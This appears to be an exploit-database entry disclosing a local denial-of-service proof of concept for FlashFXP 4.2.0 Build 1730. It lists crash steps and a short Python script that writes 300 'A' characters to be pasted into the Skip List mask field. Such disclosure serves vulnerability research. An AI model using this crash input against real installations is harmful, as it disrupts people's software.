发布 2020-03-31 漏洞条目

FlashFXP 4.2.0 Build 1730 – Denial of Service (PoC)

Exploit Source

# Exploit Title: FlashFXP 4.2.0 Build 1730 - Denial of Service (PoC)

# Vendor Homepage: https://www.flashfxp.com/

# Software Link Download: https://www.filehorse.com/download-flashfxp/22451/download/

# Exploit Author: Paras Bhatia

# Discovery Date: 2020-03-30

# Vulnerable Software: FlashFXP

# Version: 4.2.0 Build 1730

# Vulnerability Type: Denial of Service (DoS) Local

# Tested on: Windows 10 Pro (64 bit)

#Steps to Produce the Crash:

# 1.- Run python code: FlashCrash.py

# 2.- Copy content to clipboard

# 3.- Open "FlashFXP.exe"

# 4.- Go to "Options" > Filters > Skip List > New Entry

# 5.- Paste ClipBoard into the "Mask" field

# 6.- Click on OK

# 7.- Go to "Options" > Filters > Skip List

# 8.- Crashed

#################################################################################################################################################

#Python "FlashCrash.py" Code:

buffer = "\x41" * 300

f = open ("FlashCrash.txt", "w")

f.write(buffer)

f.close()

相关漏洞条目